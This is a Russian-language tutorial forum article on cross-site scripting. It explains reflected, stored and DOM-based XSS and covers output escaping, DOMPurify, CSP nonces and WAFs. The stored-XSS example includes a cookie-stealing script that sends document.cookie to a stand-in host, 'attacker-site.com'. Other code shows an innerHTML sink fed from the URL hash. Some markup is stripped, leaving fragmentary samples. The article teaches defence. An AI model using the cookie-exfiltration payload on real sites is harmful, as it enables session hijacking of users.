Зачем нам снова говорить про XSS в 2025?
Казалось бы, про XSS (Cross-Site Scripting) не слышал только ленивый. Уязвимость стара как мир, но почему мы опять поднимаем эту тему? Все просто. Загляните в свежие отчеты о пентестах или на Bug Bounty платформы. XSS никуда не делась. В рейтинге
OWASP Top 10 за 2021 год она хоть и не выделена отдельным пунктом, но является ключевой частью категории
A03:2021-Injection.
Причина ее живучести — в недооценке. Для одних это "просто
во всплывающем окне", для других — сложная в отладке клиентская логика навороченных фронтенд-фреймворков. И пока разработчики считают ее чем-то несерьезным, пользователи лишаются своих аккаунтов, а компании — репутации.
Эта статья — не очередное сухое перечисление фактов. Это выжимка опыта, которая поможет фронтендерам и начинающим спецам по ИБ понять механику XSS, научиться находить ее и, что самое главное, строить надежную защиту.
Анатомия XSS: разбираем три головы дракона
XSS-атаки бывают трех основных видов:
Reflected (отраженная),
Stored (хранимая) и
DOM-based (на основе DOM). У каждой своя специфика. Чтобы не путаться, давайте сразу разложим по полочкам.
Тип XSSМеханизм работыГде искать и чего боятьсяReflectedВредоносный скрипт — часть запроса (например, в URL). Сервер
вставляет значение параметра в HTML-страницу без должного экранирования, и браузер жертвы сразу исполняет код. Требует участия пользователя (нужно заставить его перейти по ссылке).Параметры поиска, страницы ошибок, любые поля, чьи значения попадают со строки запроса прямо в HTML.StoredСамый опасный тип. Вредоносный код сохраняется на сервере (в базе данных, в файле) и становится частью страницы. Атака срабатывает на всех, кто эту страницу откроет.Комментарии, посты на форумах, личные сообщения, поля профиля — все, что хранится в БД и выводится пользователям.DOM-basedАтака происходит исключительно на стороне клиента. Вредоносный скрипт заставляет легитимный JavaScript самого сайта неправильно обработать данные и записать вредоносный код в DOM-структуру страницы. Сервер может даже не знать об атаке.Современные SPA-приложения (React, Angular, Vue). Искать в коде, который работает с
,
,
,
и другими DOM API.
Пример №1: Классическая Reflected XSS
Это база, с которой все начинают. Представьте, что на сайте есть страница поиска, которая выводит ваш запрос:
Код:
https://example.com/search?q=my-query
.
Уязвимый код на сервере может выглядеть так (упрощенно):
PHP:
Код:
Результаты поиска по запросу:
Злоумышленник формирует ссылку и отправляет ее жертве:
Код:
Код:
https://example.com/search?q=alert('XSS от античат !')
Жертва переходит по ней, и ее браузер, получив HTML от сервера, честно исполняет скрипт. Стоит отметить, что многие современные фреймворки и шаблонизаторы экранируют вывод по умолчанию, но уязвимости все еще встречаются из-за отключения защиты вручную или использования устаревших практик.
Пример №2: Опасная Stored XSS и кража сессии
А вот тут уже все серьезно. Представим форум с комментариями. Пользователь оставляет свой отзыв, и он сохраняется в базе данных.
Эксплуатация:
Злоумышленник вместо обычного текста оставляет комментарий с вредоносным кодом:
HTML:
Код:
Крутая статья! Всем советую.
Важное предупреждение об ответственности:Демонстрация кражи сессии приведена исключительно в образовательных целях. Использование подобных техник против реальных сайтов и пользователей незаконно. Тестирование на безопасность должно проводиться только в специально отведенных для этого средах (pentest lab) или с явного письменного разрешения владельца ресурса (bug bounty программы).
А что в файле
?
Классический сценарий — кража сессионных cookie.
JavaScript
:
Код:
// Этот код будет исполнен в браузере каждого посетителя
let
stolenCookie
=
document
.
cookie
;
// Создаем невидимое изображение, которое при попытке загрузки
// отправляет cookie жертвы на сервер атакующего в виде GET-параметра
new
Image
(
)
.
src
=
'http://attacker-site.com/steal?data='
+
encodeURIComponent
(
stolenCookie
)
;
Что это значит на практике? Злоумышленник получает
пользователя, вставляет его себе в браузер и получает полный доступ к аккаунту жертвы. Это называется
захват сессии (Session Hijacking). Подобный вектор может быть реализован самыми разными способами, например, через обращение в поддержку, как описано в кейсе
Предотвращение XSS: Полное руководство по защите веб-сайта.
Пример №3: Хитрая DOM-based XSS
Этот тип атаки цветет и пахнет в современных JavaScript-приложениях. Уязвимость кроется в клиентском коде, который небезопасно манипулирует DOM. Опасными "приемниками" (sinks) выступают не только
, но и функции вроде
или
, если им передается строка, которую контролирует пользователь.
Пример:
HTML:
Код:
// Скрипт берет имя пользователя из хэша.
// decodeURIComponent нужен, чтобы браузер правильно обработал спецсимволы в URL.
let userName = decodeURIComponent(window.location.hash.substring(1));
// И вставляет его прямо в HTML. Опасно!
document.getElementById('username').innerHTML = "Добро пожаловать, " + userName + "!";
Атакующий создает ссылку:
Код:
Код:
https://vulnerable-site.com/#
Пользователь переходит. Сервер отдает чистую страницу, но уже в браузере легитимный JavaScript берет вредоносный код из
и вставляет его в DOM.
Строим крепость: методы защиты от XSS
Теория — это хорошо, но как защищаться на практике? Вот арсенал, который должен быть у каждого разработчика.
1. Контекстное экранирование (Output Escaping)
Это главный принцип.
Никогда не доверяй данным, которые выводишь в HTML. Перед выводом любые пользовательские данные нужно обрабатывать.
НЕПРАВИЛЬНО:
PHP:
ПРАВИЛЬНО:
PHP:
Код:
" . htmlspecialchars($userInput, ENT_QUOTES, 'UTF-8') . "";
?>
2. Санитизация HTML (HTML Sanitization)
Если вам нужно разрешить пользователям форматирование (теги
,
), простое экранирование не подойдет. На помощь приходит
санитизация — фильтрация HTML, которая вырезает все опасные теги и атрибуты. Для этого используйте готовые библиотеки, например,
DOMPurify для JavaScript.
3. Content-Security-Policy (CSP)
CSP — это мощнейший защитный барьер в виде HTTP-заголовка. Он говорит браузеру, откуда можно загружать и выполнять ресурсы. Важно понимать, что
CSP не панацея, но он значительно снижает поверхность атаки и блокирует большинство векторов эксплуатации XSS.
Более продвинутый пример с
:
Для максимальной защиты от инлайн-скриптов можно использовать
(случайное значение, уникальное для каждого запроса).
- Сервер генерирует случайную строку:
Код:
nonce-R4nd0mStr1ng...
- Отправляет заголовок:
Код:
Content-Security-Policy: script-src 'self' 'nonce-R4nd0mStr1ng...';
- Добавляет эту же строку ко всем легитимным тегам
на странице.
Любой скрипт без правильного
будет заблокирован браузером.
4. Дополнительный рубеж: WAF
Web Application Firewall (WAF) — это еще один слой защиты. Он работает как фильтр перед вашим приложением и пытается блокировать вредоносные запросы. WAF — это хорошее дополнение, но он
ни в коем случае не заменяет необходимость писать безопасный код. Он лишь дополняет его.
Чек-лист «быстрой профилактики» для разработчика
Никогда не доверяй пользовательскому вводу. Фильтруй на входе, экранируй на выходе.
Используй
вместо
везде, где это возможно.
Если нужен HTML от пользователя —
используй санитизатор (например, DOMPurify).
Внедри Content-Security-Policy (CSP). Начни с базовой политики и ужесточай ее.
Понимай, как работает твой фреймворк. Знай про
Код:
dangerouslySetInnerHTML
и аналоги.
Периодически сканируй приложение автоматизированными средствами (OWASP ZAP, Burp Suite), но помни, что главный инструмент — твоя голова.
Важно! Сканер — это не панацея. Он отлично находит простые Reflected и Stored XSS, но может пропустить сложную DOM-based XSS... Стоит отметить, что такие инструменты, как ZAP или Burp Suite, незаменимы и при поиске уязвимостей в современных API, что отлично показано в этом
практическом кейсе по тестированию REST API.
Заключение
XSS — это не просто
. Это реальная угроза, ведущая к компрометации аккаунтов, краже данных и финансовым потерям. Лучшая защита — это глубокое понимание вектора атаки и выстраивание эшелонированной обороны на всех уровнях приложения.
Надеюсь, этот разбор был полезен. Делитесь в комментариях своим опытом борьбы с XSS, интересными находками и любимыми инструментами. Давайте делать веб безопаснее вместе! А для тех, кто хочет не просто ознакомиться с темой, а систематически изучить уязвимости веб-приложений и сделать это своей профессией, существуют профильные образовательные программы, например,
курс по тестированию на проникновение от создателей нашего сообщества.
Часто задаваемые вопросы (FAQ)
1. Что такое XSS?
XSS (Cross-Site Scripting) — это уязвимость, которая позволяет злоумышленнику внедрять вредоносный JavaScript на веб-страницу, которую просматривают другие пользователи.
2. Какой тип XSS самый опасный?
Stored (хранимая) XSS считается наиболее опасной, так как вредоносный код сохраняется на сервере и атакует каждого пользователя, который заходит на уязвимую страницу.
3. В чем разница между XSS и другими атаками (CSRF, SQLi, XXE)?
Это частая путаница.
XSS и
CSRF — это, в первую очередь, клиентские атаки, направленные на браузер пользователя. XSS позволяет выполнить свой код, а CSRF — заставить браузер жертвы выполнить нежелательное действие. Гайд по этой атаке:
CSRF-уязвимость: что это, примеры и надежная защита
В отличие от них, существуют и чисто серверные уязвимости, где злоумышленник атакует напрямую логику бэкенда. Яркие примеры — это
SQL-инъекции (атака на базу данных) и XXE (атака на обработчик XML). Для тех, кто хочет копнуть глубже в эту тему, рекомендую почитать про
автоматизацию эксплуатации SQL-инъекций и про то, как работают
XXE-уязвимости.
4. Как защититься от XSS?
Ключевые методы: контекстное экранирование, санитизация HTML, использование строгой Content-Security-Policy (CSP) и понимание механизмов защиты, встроенных в ваш фреймворк.